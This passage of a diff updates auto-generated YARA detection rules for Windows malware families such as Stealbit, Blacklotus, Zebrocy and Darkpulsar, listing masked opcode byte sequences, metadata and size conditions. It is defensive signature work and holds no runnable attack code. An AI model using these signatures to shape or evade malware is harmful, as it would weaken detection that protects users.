e8???????? 8d85c0fdffff 50 } + $sequence_24 = { 03c7 03cf 83ff1f 0f87a4030000 ff24bd95244300 } + $sequence_25 = { e8???????? 83f8ff 7442 8985fcfeffff 68???????? e8???????? } + $sequence_26 = { 8ad0 4a 8ad0 84c1 } + $sequence_27 = { 6af4 dbe9 68912b4384 2383e08985e4 0572b6e2f4 fd } + $sequence_28 = { 128b42926614 12a502b346d1 41 b87e8da638 e022 } + $sequence_29 = { 68???????? ff75c0 ff15???????? 834dfcff e8???????? ff7508 8d45c4 } + $sequence_30 = { 0f848ffbffff 50 8b4658 8d443804 50 e8???????? 898574ffffff } + $sequence_31 = { 5b 5f c9 c21400 8d87eb040000 8b00 } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 568320 } -rule MALPEDIA_Win_Blister_Auto : FILE +rule MALPEDIA_Win_Ironhalo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fe50a609-9d69-50d8-9407-cc1bb662c99e" + id = "5d173d13-7e7f-5038-a17a-f1673b379630" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blister_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ironhalo_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "bbff3501a1abd67d694ed63bda3afb810ae6150a68deb6d717b382978b46ad0d" - score = 60 - quality = 25 + logic_hash = "b28c071e016d2fd6c8035d945d059b7edc886edf229a30a1e4641350946cb806" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -123254,32 +123196,32 @@ rule MALPEDIA_Win_Blister_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 8b5d10 56 8b750c 57 33ff 6a02 } - $sequence_1 = { 50 c745c03c000000 c745c400020000 c745cce4301717 c745dc05000000 ff15???????? } - $sequence_2 = { 7507 bf0e000780 eb34 8365f400 ff750c 33c0 } - $sequence_3 = { 7d06 33c0 33ff eb03 8b45f4 8945fc } - $sequence_4 = { 50 8d8584fcffff 50 ffb580fcffff 8d856cfcffff ffb578fcffff 50 } - $sequence_5 = { ff32 ff15???????? 83f8ff 7507 b805400080 eb02 33c0 } - $sequence_6 = { ff7508 6813100000 ff36 ffd7 6a03 58 8945d4 } - $sequence_7 = { e8???????? 57 8bce 894508 e8???????? 5f 5e } - $sequence_8 = { 85f6 7507 b857000780 eb45 832600 6a38 8d45c8 } - $sequence_9 = { e8???????? 8bce e8???????? 8bd8 85db 7d0f } + $sequence_0 = { 8a800c914000 83e00f eb02 33c0 } + $sequence_1 = { 8bcb c1f805 83e11f 8b048560e04000 f644c80401 0f84f9000000 6a01 } + $sequence_2 = { 6a00 56 e8???????? 56 e8???????? 8be8 83c410 } + $sequence_3 = { ffd6 8d542410 8d442424 52 50 ffd6 8d4c2424 } + $sequence_4 = { ffd7 8d742428 bb03000000 8d442438 } + $sequence_5 = { 243f c0e206 0ac2 83c104 88042f 45 803c3100 } + $sequence_6 = { 743a 0fb6d0 f68221cf400004 741a } + $sequence_7 = { 50 ffd7 8d742428 bb03000000 8d4c2438 8d542410 } + $sequence_8 = { 52 668954241c e8???????? 50 e8???????? 83c408 8d442410 } + $sequence_9 = { 6a00 6a50 50 56 ff15???????? 8be8 } condition: - 7 of them and filesize < 1822720 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Zebrocy_Auto : FILE +rule MALPEDIA_Win_Stealbit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a5288975-5a36-5a4a-9025-084c7ee804a2" + id = "5dce69d0-a61c-561d-bb3f-783619cef52d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zebrocy_auto.yar#L1-L166" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealbit_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "31a3a19dc89466809ccbf56c8c805a07b997358dbb942052f14c84a36be45691" + logic_hash = "90bb65634be35c442101bb71a7db5f26606dba88a1c52cacba38d15f6d5908ea" score = 75 quality = 75 tags = "FILE" @@ -123293,38 +123235,32 @@ rule MALPEDIA_Win_Zebrocy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c605????????03 c705????????04000000 c605????????11 c705????????00000000 } - $sequence_1 = { e8???????? 84c0 8b4de0 7507 } - $sequence_2 = { 50 8d45f4 64a300000000 6aff 33ff c745fc01000000 } - $sequence_3 = { 8be5 5d c21000 8b4d14 51 56 } - $sequence_4 = { e8???????? 83c41c 83ec1c 8bcc 89a5f4f4ffff } - $sequence_5 = { ff25???????? ebb5 55 b9???????? 89e5 } - $sequence_6 = { f2ae 89c8 f7d0 8d5402ff } - $sequence_7 = { 8bd8 3bc7 7e63 8d642400 6a02 } - $sequence_8 = { 397de0 7f57 8b03 85c0 } - $sequence_9 = { 8d45f4 64a300000000 33db 897d90 895d94 6aff c745fc01000000 } - $sequence_10 = { 89d8 e8???????? 8d9510fcffff 89c6 8d8500fcffff 89d7 } - $sequence_11 = { 89c7 eb2f 89f2 89d9 e8???????? } - $sequence_12 = { 325032 7032 7c32 9c 32a432ac32c432 d432 e8???????? } - $sequence_13 = { 33c0 894e14 894710 894714 c645fc00 837de810 720c } - $sequence_14 = { 66c705????????6046 8915???????? ba???????? a3???????? e8???????? } - $sequence_15 = { 89b5c4f7ffff 899dc0f7ffff 889db0f7ffff 39bd38f7ffff } + $sequence_0 = { 66899528feffff 6689bd30feffff 66899d38feffff 6689bd3efeffff 6689bd42feffff 66894dbc 66895dc0 } + $sequence_1 = { 0f8544010000 6a07 5b 53 8d45bc 8bd6 } + $sequence_2 = { 8bc2 5d c20400 8bd1 8b0a e8???????? 8bc8 } + $sequence_3 = { 8d47f1 c745f877caeb85 03c3 bf28442324 8365fc00 be4f86c861 } + $sequence_4 = { 2ac8 8ac1 5d c20400 55 8bec } + $sequence_5 = { 88460d 57 886e0e 884e0f 6a25 885610 e8???????? } + $sequence_6 = { 8b450c 48 83e801 740e 83e801 750f 8b4508 } + $sequence_7 = { 33c0 66898518ffffff 58 6a74 66898506ffffff 6689b540ffffff } + $sequence_8 = { 8945f8 e8???????? 03c0 8bce 8bd0 e8???????? 6a0c } + $sequence_9 = { 6a20 66899524ffffff 6689952effffff 5a 6a6e 58 6a6d } condition: - 7 of them and filesize < 393216 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Elise_Auto : FILE +rule MALPEDIA_Win_Radamant_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "08b1c424-ccca-5509-994b-c3215e83e8dc" + id = "c9054a5c-bb68-56d9-b004-7795b422035b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elise" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.elise_auto.yar#L1-L199" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.radamant_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "70b08762b10b71d08f89704ff70572a2b0da8c94488cb175a27749246468d125" + logic_hash = "c8bbb0af31c01f18c5c289ae1834ad1b53dc2920970c2b6e405a5699e0104750" score = 75 quality = 75 tags = "FILE" @@ -123338,42 +123274,32 @@ rule MALPEDIA_Win_Elise_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 1bc0 83e0fe 83c00b 8945f8 8b45f4 40 50 } - $sequence_1 = { 4b 8d3470 75ed 5b } - $sequence_2 = { ab 75d2 5f 5e 5b c3 } - $sequence_3 = { 7cf5 33c9 888f00010000 888f01010000 } - $sequence_4 = { 8b491c 83c60c 83c110 8945fc } - $sequence_5 = { 8d1c58 d3e0 0945f4 ff45f8 } - $sequence_6 = { c3 55 8bec 51 51 53 8d5f10 } - $sequence_7 = { 888f00010000 888f01010000 8bf7 8945f8 } - $sequence_8 = { 57 6a22 50 894608 ff15???????? } - $sequence_9 = { 034e3c b800030000 d3e0 33c9 6a02 } - $sequence_10 = { 56 57 b99a000000 8d7510 } - $sequence_11 = { e8???????? 83c40c 8d4580 50 8d4588 } - $sequence_12 = { 33c0 e9???????? 833d????????00 7405 e8???????? 83c8ff } - $sequence_13 = { ff75ec 0fb6843794010000 99 53 52 50 } - $sequence_14 = { 0145f0 6a00 6800010000 ff75ec 1155f4 53 } - $sequence_15 = { 5b 85ff 7415 0fb616 33d0 23d1 c1e808 } - $sequence_16 = { 50 ff7580 e8???????? 85c0 } - $sequence_17 = { 6a20 e8???????? 59 8bd8 } - $sequence_18 = { 59 59 33c0 e9???????? 8b35???????? 6a04 } - $sequence_19 = { 8bd7 c1ea03 53 0fb61e 33d8 23d9 c1e808 } + $sequence_0 = { 8b45f0 f7d0 2345f4 09d0 0345c4 0345ec } + $sequence_1 = { 7519 8b45c4 890424 e8???????? 8b45f4 8985f4fdffff e9???????? } + $sequence_2 = { 8b5510 83c20e 8b45ec c1e808 8802 8b5510 83c20f } + $sequence_3 = { 31c2 8b45e8 c1e808 0fb6c0 0fb680b0094100 } + $sequence_4 = { 8901 8b4df4 83c128 8b55f4 83c208 8b45f4 83c024 } + $sequence_5 = { 8d85a4fcffff ff00 8d85b8fdffff 890424 e8???????? 3985a4fcffff } + $sequence_6 = { c7042400000000 e8???????? 83ec0c 8d85b8fdffff 890424 e8???????? 8985a4fcffff } + $sequence_7 = { 8b45f4 8b00 c1e810 0fb6c0 8b0485e02f4100 8b1495e02b4100 31c2 } + $sequence_8 = { 09d0 0345a8 0345f4 2d885b9528 8945f4 8d45f4 c10007 } + $sequence_9 = { c1e818 0fb6c0 8b0485b01b4100 8b12 31c2 } condition: 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Dented_Auto : FILE +rule MALPEDIA_Win_Tetra_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ec077e48-e364-5ad2-b3eb-708d9cb96474" + id = "85991250-1047-5fcf-96eb-85da5fe13b43" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dented" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dented_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tetra_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tetra_loader_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "8a83542dc4cfbb6071fb1f2a2748ff19dad273e746a7625af72e8307d011702d" + logic_hash = "aeb4a8ec8acfdc787245eb94a88275106cbf235fc1e5fc83f04d972b90088a86" score = 75 quality = 75 tags = "FILE" @@ -123387,32 +123313,32 @@ rule MALPEDIA_Win_Dented_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? bf08020000 8d85ecfbffff 57 } - $sequence_1 = { c1e814 8b4dfc 5f 33cd } - $sequence_2 = { 8d55ff a1???????? 52 885dff 8d4810 } - $sequence_3 = { 8b35???????? 8d85f8feffff 50 8d85f4fdffff 50 ffd6 } - $sequence_4 = { 6a01 53 68???????? ffb5e8fbffff ff15???????? } - $sequence_5 = { e8???????? 8364242c00 8d4c2434 807d1c00 c74424300f000000 c644241c00 } - $sequence_6 = { 59 8bf0 8bcf 33c0 89b5e8f7ffff 2185f0f7ffff } - $sequence_7 = { 8b85f8f7ffff 8a8485fcfbffff 32c1 880416 8b8decf7ffff 43 42 } - $sequence_8 = { c21000 55 8bec 81ec18040000 a1???????? 33c5 8945fc } - $sequence_9 = { 5f 57 8d45b8 6a00 50 } + $sequence_0 = { 440fb74204 4181f074350000 4109c8 0f8480050000 3302 0fb74a04 81f174360000 } + $sequence_1 = { 66f7e6 0f8010010000 89c2 6601ea 410f92c6 31c0 81fdffff0000 } + $sequence_2 = { e8???????? 0f0b 4c8d059f8a0100 b901000000 4c89d2 e8???????? 0f0b } + $sequence_3 = { 4531db 81f9ffff0000 7715 6666666666662e0f1f840000000000 41bc03000000 4c89f2 } + $sequence_4 = { 7521 c6851717000000 488d8db8160000 488d154ce70200 e8???????? 488bb5c0160000 66c746023b00 } + $sequence_5 = { 48ffc7 4c89f0 4d89fb bd00000000 4885c0 0f856bffffff ebb4 } + $sequence_6 = { 488901 b001 f6c201 7513 488b4110 488b4820 488b4028 } + $sequence_7 = { 483b7df0 75bc eb8d 4489e1 83e11f 450fb64701 4183e03f } + $sequence_8 = { 4883c1fe 3d00010000 89d0 73a1 0fb64500 8845d0 0f2845e0 } + $sequence_9 = { 488b4de8 48c744243000000000 c744242880000000 c744242003000000 ba00000080 41b801000000 4531c9 } condition: - 7 of them and filesize < 450560 + 7 of them and filesize < 847872 } -rule MALPEDIA_Win_Funksec_Auto : FILE +rule MALPEDIA_Win_Xfsadm_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9193fd51-0ac6-5db6-9635-e6eb925df3d1" + id = "4e0da958-d7db-5cd3-9845-58c1ee1ba55b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.funksec" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.funksec_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xfsadm_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "06f95012988e8bb48797f6f8504bd1b10c3653d29a2d1e0983bf3fe910630ecb" + logic_hash = "b8085f6961208dfb9003a24568de62da647e6cb5e982bfeaf61525cbc63ec421" score = 75 quality = 75 tags = "FILE" @@ -123426,32 +123352,32 @@ rule MALPEDIA_Win_Funksec_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 4c8bb550020000 440fb68d58020000 48b80a00000000000080 4939c6 0f85a9020000 4489e1 } - $sequence_1 = { e8???????? 66c7060101 c7460401000000 488d05b2591e00 48894608 48c7461001000000 0f57c0 } - $sequence_2 = { e9???????? 488b8528110000 48898520110000 4c8d0564cf2c00 ba80000000 e8???????? e9???????? } - $sequence_3 = { ba21000000 e8???????? 488d0ddb081100 4c8d056c091100 ba1f000000 e8???????? 488d0d73091100 } - $sequence_4 = { e8???????? 84c0 89fb 0f84f6000000 488b0d???????? 488b4138 4885c0 } - $sequence_5 = { e9???????? 4489f0 83e01f 410fb65701 83e23f 4180fedf 7664 } - $sequence_6 = { e9???????? 488d05f6d11400 488985a0000000 48c785a800000001000000 48c785b000000008000000 0f57c0 0f1185b8000000 } - $sequence_7 = { e8???????? ebde 498b07 4885c0 0f84c3010000 48c1e003 488d1440 } - $sequence_8 = { e8???????? 4c8bad30360000 4d8db518010000 41b828030000 4c89f1 4889da e8???????? } - $sequence_9 = { ebd0 49ffc3 49ffc9 4d8918 4d894808 488d05cdf81000 488945d8 } + $sequence_0 = { 740f 83f8fe 740a 6bce38 030c95f8d84200 f6412d01 7414 } + $sequence_1 = { 8d7301 80fa78 7577 385903 } + $sequence_2 = { 895e04 eb03 8b5e04 893c83 ff4634 } + $sequence_3 = { 83c404 8b5d0c c7461000000000 c7461400000000 c7461800000000 8d4b01 8a03 } + $sequence_4 = { 6a03 6808020000 ff15???????? 68???????? ff75e0 ff75dc } + $sequence_5 = { 8b12 8b42f8 2b4afc 2bc7 0bc8 } + $sequence_6 = { 894df0 83c104 50 e8???????? 8bf8 85ff 0f84cb000000 } + $sequence_7 = { a3???????? 85c0 0f8475010000 68???????? ff35???????? ffd6 a3???????? } + $sequence_8 = { 8b7b20 8b7324 6a00 ff10 8b06 8bce 53 } + $sequence_9 = { f20f593c85604f4200 660f122c85604f4200 03c0 660f28348570534200 } condition: - 7 of them and filesize < 10986496 + 7 of them and filesize < 566272 } -rule MALPEDIA_Win_Thumbthief_Auto : FILE +rule MALPEDIA_Win_Blacklotus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1c9938a2-b3ca-5fff-a79c-43d76c2643f6" + id = "6d41c095-e739-5655-a8fc-e5651a304950" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thumbthief_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blacklotus_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "95f6f620d5e728800926363598aae4fbd4980628ff69ddd3ce6426d2d79b4cfc" + logic_hash = "69ee2c520b98a8fc48e03d945b290dd8e5b47d8c94f1557274f7c175df20640a" score = 75 quality = 75 tags = "FILE" @@ -123465,34 +123391,34 @@ rule MALPEDIA_Win_Thumbthief_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff7604 e8???????? 83c410 895e04 5f 8bc6 5e } - $sequence_1 = { ff7010 e8???????? 0fb74612 8d4dc8 50 68???????? e8???????? } - $sequence_2 = { e8???????? c645fc03 85f6 7526 68???????? 68???????? 8d8d2cffffff } - $sequence_3 = { e8???????? 8d742440 8d7c2414 a5 8d442414 6a01 50 } - $sequence_4 = { e9???????? 8b542434 395608 8b542428 0f85b1000000 8b4c2430 898c24c0000000 } - $sequence_5 = { e8???????? 8d8c24bc010000 e8???????? 8d4314 50 68a0000000 53 } - $sequence_6 = { ff15???????? 68???????? ff75dc ffd7 50 8d8dd8feffff e8???????? } - $sequence_7 = { ff248580c94200 8b4508 b901000000 6689481c 33c0 5f 5e } - $sequence_8 = { f20f1045c4 83c408 f20f1187b8010000 8bc6 5f 5e 5b } - $sequence_9 = { ff75f4 e8???????? 83c414 8bd6 8bcb e8???????? 837d1000 } + $sequence_0 = { 884102 488d4904 4983e801 75dc 428d149dfcffffff 460fb60412 8d4201 } + $sequence_1 = { 7507 488b4b38 c601c3 488b1b 483bdf } + $sequence_2 = { 4883c104 e8???????? 488b4d30 0fb65103 0fb64102 48c1e208 } + $sequence_3 = { 44884301 88430b e8???????? 4c8bc6 488bd3 408acf } + $sequence_4 = { 2bcf ffc7 4103c9 6633544d08 8d41ff 6689544508 } + $sequence_5 = { 408a7c3c30 428d149de0ffffff 46320412 8d4201 } + $sequence_6 = { 4883ec30 418be8 488bfa 488bf1 488d15d41a0100 488b0d???????? } + $sequence_7 = { 7508 4d85c0 75ea 33c0 c3 1bc0 } + $sequence_8 = { ffc8 03c3 44888430d8070000 453bd1 72b9 8b15???????? ffca } + $sequence_9 = { 4c8d054e140100 488bd7 488bd8 e8???????? 488b05???????? } condition: - 7 of them and filesize < 4235264 + 7 of them and filesize < 181248 } -rule MALPEDIA_Win_Andromut_Auto : FILE +rule MALPEDIA_Win_Beepservice_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "deb4a424-4b4e-5ea2-908f-5ddc5f18ef00" + id = "c4c53131-cb7f-5347-a9b9-cf736a2ce9c3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andromut_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beepservice" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beepservice_auto.yar#L1-L282" license_url = "N/A" - logic_hash = "230945b6168ef420f0744200cbf464e2eea8368844f9caec3ac8e73f949cddb4" + logic_hash = "689010a7eaeffaf34a3ec3394a2430b997d2d5b1ebae027e3c89a6f3e221798c" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -123504,34 +123430,53 @@ rule MALPEDIA_Win_Andromut_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d8da0dfffff 51 6819000200 56 8d4da4 51 } - $sequence_1 = { 47 3bfb 72e9 8b75fc 8b45f8 8b7c1018 33db } - $sequence_2 = { 8d8db8f9ffff 51 8d8d70f9ffff 51 57 57 } - $sequence_3 = { 53 51 ffb5a0f7ffff 8d8590f7ffff b92d57ae5b 0f438590f7ffff } - $sequence_4 = { 8a4d08 8d41bf 3c19 7708 0fbed1 83ea41 eb34 } - $sequence_5 = { 8d44246c b974723dc5 50 8d84247c030000 50 e8???????? } - $sequence_6 = { 49 8bc1 c1e10b c1e805 25ff070000 0bc1 } - $sequence_7 = { 8b9d70ffffff 8b856cffffff 03df a801 7415 6aff } - $sequence_8 = { b802210000 6689443e16 0fb7443e06 8b75f8 } - $sequence_9 = { e8???????? 8be5 5d c3 68c8060000 b8???????? e8???????? } + $sequence_0 = { 8b0d???????? 68???????? ffd6 8bc8 } + $sequence_1 = { ffd6 8bc8 ff15???????? 50 ff15???????? } + $sequence_2 = { 683f000f00 6a00 68???????? ff15???????? } + $sequence_3 = { e8???????? 83f801 7505 e8???????? 68???????? 68???????? } + $sequence_4 = { 7512 6888130000 68???????? e8???????? 83c408 } + $sequence_5 = { 83c408 e9???????? 68???????? e8???????? 83c404 6a00 6a00 } + $sequence_6 = { 8d85fcfdffff 56 56 6a02 56 56 } + $sequence_7 = { 6a20 57 bf???????? 57 } + $sequence_8 = { 68???????? e8???????? ff7608 e8???????? 83c40c } + $sequence_9 = { ff7614 e8???????? 50 ff7614 57 e8???????? 83c42c } + $sequence_10 = { 6a02 50 55 e8???????? ff7610 e8???????? 50 } + $sequence_11 = { e8???????? 83c444 8d442410 6a02 } + $sequence_12 = { 85f6 7403 56 ffd7 53 ffd7 5f } + $sequence_13 = { b90a000000 a3???????? bf???????? a3???????? } + $sequence_14 = { 8b5c240c 8b3d???????? 85f6 7403 } + $sequence_15 = { 741e 45 83fd0a 7ce0 eb23 ff15???????? } + $sequence_16 = { ffd7 8d442414 50 56 } + $sequence_17 = { c785f8fdffff00240000 6a00 8d95f4fdffff 52 8b85f8fdffff 50 } + $sequence_18 = { 83f81e 720a b801000000 e9???????? 8b450c 8b480c } + $sequence_19 = { 8b85f8fdffff 50 68???????? 8b8dfcfdffff 51 ff15???????? } + $sequence_20 = { 8b5108 52 68???????? e8???????? 83c40c 6a02 } + $sequence_21 = { 50 e8???????? 83c404 c3 6a00 6a00 } + $sequence_22 = { a1???????? 85c0 746b a1???????? 85c0 7562 } + $sequence_23 = { 48 83f804 0f8795000000 ff248548144000 6888130000 6a01 6a00 } + $sequence_24 = { 85c9 668935???????? 7e15 b299 8a9874304000 32da } + $sequence_25 = { 83c414 e8???????? 6a00 6a00 b907000000 6a00 } + $sequence_26 = { 57 33f6 8975d8 8975e0 8975e4 8975dc 8975fc } + $sequence_27 = { 83c404 c3 8b0d???????? 6aff 51 } + $sequence_28 = { 6a03 e8???????? 83c414 e9???????? a1???????? } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Darkpulsar_Auto : FILE +rule MALPEDIA_Win_Edam_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3d640e6f-45ff-5f50-abb3-96bc1483119a" + id = "f4028c21-33b6-5e9f-a37a-2699bc732d08" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkpulsar_auto.yar#L1-L456" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.edam" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.edam_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "e92897322c1f7ba92ed602b9b405ecfc3237bf769ff600554b34202d8fb12746" + logic_hash = "62aff47bf3ddbcb69a86cf1dabc7a43bddd2da8a74c7bd24c0bccdeef4523386" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -123543,71 +123488,32 @@ rule MALPEDIA_Win_Darkpulsar_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c21000 ff25???????? ff25???????? ff25???????? 33c0 40 } - $sequence_1 = { 33c0 40 c20c00 68???????? 64ff3500000000 } - $sequence_2 = { 3a01 1bc0 83e0fe 40 } - $sequence_3 = { 8b35???????? 57 8b7d08 eb09 803f00 } - $sequence_4 = { ffd6 8bd8 8b450c 0fbe00 50 ffd6 } - $sequence_5 = { ffd6 59 59 3bd8 74e0 } - $sequence_6 = { 47 ff450c 0fbe07 50 ffd6 8bd8 8b450c } - $sequence_7 = { 3bd8 74e0 0fb607 8b4d0c 3a01 } - $sequence_8 = { 5e c9 c3 56 8b742408 85f6 7412 } - $sequence_9 = { ff75fc ff75f4 e8???????? 59 59 83f8ff } - $sequence_10 = { 33d2 56 57 33c0 } - $sequence_11 = { 8d45cc 50 57 e8???????? 83c410 85c0 } - $sequence_12 = { ffd7 59 5f 5e c3 8b4c2404 } - $sequence_13 = { 50 ff7618 ff15???????? 59 59 85c0 } - $sequence_14 = { 8945fc 8b450c 53 8b5d08 56 57 8945e8 } - $sequence_15 = { 83c410 83f8ff 0f95c1 49 8bc1 } - $sequence_16 = { 59 1bc0 59 40 c3 e9???????? } - $sequence_17 = { 6a01 ff15???????? 8bf0 59 59 3bf7 } - $sequence_18 = { 33d2 c3 8bff 55 8bec b863736de0 } - $sequence_19 = { 53 8b5d10 56 8b7508 33d2 } - $sequence_20 = { 56 e8???????? 59 85c0 7625 } - $sequence_21 = { 8d4601 6a01 50 ff15???????? 8bf8 } - $sequence_22 = { eb03 83c8ff 5f 5e c3 56 } - $sequence_23 = { 59 5e 8b45fc c9 c3 } - $sequence_24 = { e8???????? 8bf0 46 56 ff15???????? 59 59 } - $sequence_25 = { e8???????? 59 5e 83f8ff } - $sequence_26 = { 5f 5e c3 8b442404 85c0 7503 } - $sequence_27 = { 56 57 8b7d10 7e05 83c220 eb03 } - $sequence_28 = { 6a7f 58 33f6 83e107 46 d3e6 85f0 } - $sequence_29 = { 8bf8 85ff 750f 50 50 8d45f4 } - $sequence_30 = { 50 ffd7 f6450801 5f 7409 56 e8???????? } - $sequence_31 = { 33ff 895dfc 3bc7 7509 8b0b } - $sequence_32 = { e8???????? 83c40c 83f8ff 740e ff75e4 ff15???????? } - $sequence_33 = { eb28 57 8d45f4 56 50 e8???????? } - $sequence_34 = { ff742410 ff742410 ff15???????? 33c9 } - $sequence_35 = { c20400 8b4508 8b10 8b4008 8d4e08 51 } - $sequence_36 = { 8b7d08 837f3c04 7405 33c0 5f 5d } - $sequence_37 = { 8b7d14 8975f4 3b37 7734 8b750c } - $sequence_38 = { ff25???????? c3 8b442404 c705????????00102500 c705????????10102500 } - $sequence_39 = { 56 ff15???????? 83f8ff 7433 33c0 } - $sequence_40 = { 0f841b010000 3bf0 0f8413010000 394708 0f840a010000 894608 } - $sequence_41 = { 8b442408 884101 c1e808 8801 8d4102 } - $sequence_42 = { ddd9 f6c444 7b09 ddd8 b8???????? eb5b 51 } - $sequence_43 = { 33ff 8945f4 8945f8 e8???????? 83c404 8945fc } - $sequence_44 = { 8945fc bacdab0000 8d45f4 52 50 } - $sequence_45 = { 894588 7404 40 894588 83659800 85c0 0f8610010000 } - $sequence_46 = { 00db 7309 7515 8a1e } - $sequence_47 = { 85f6 7425 3b4d10 0f8394010000 8b7514 } - $sequence_48 = { e8???????? dc1d???????? 83c410 dfe0 f6c444 } + $sequence_0 = { 83c8ff eb1e 8b45fc 3bd6 8b0c8560b74500 0f95c0 02c0 } + $sequence_1 = { 50 8d45b0 8955d8 50 e8???????? 8d45b0 50 } + $sequence_2 = { 8bc1 83e13f c1f806 6bc930 8b048560b74500 f644082801 7406 } + $sequence_3 = { 40 c745ec603c4200 894df8 8945fc 64a100000000 8945e8 } + $sequence_4 = { 8bd1 8b42e8 8d72e8 8b4004 c74410e818654400 8b06 8b4804 } + $sequence_5 = { 50 6a01 8d4dd4 e8???????? 68???????? 8d45d4 c745d4c0634400 } + $sequence_6 = { 8b45f0 894df4 8b048560b74500 c644022a0a 0f8484000000 } + $sequence_7 = { 8d8d08fdffff c785b4fdffff0f000000 c785b0fdffff00000000 c685a0fdffff00 e8???????? 8b859cfdffff } + $sequence_8 = { 6a55 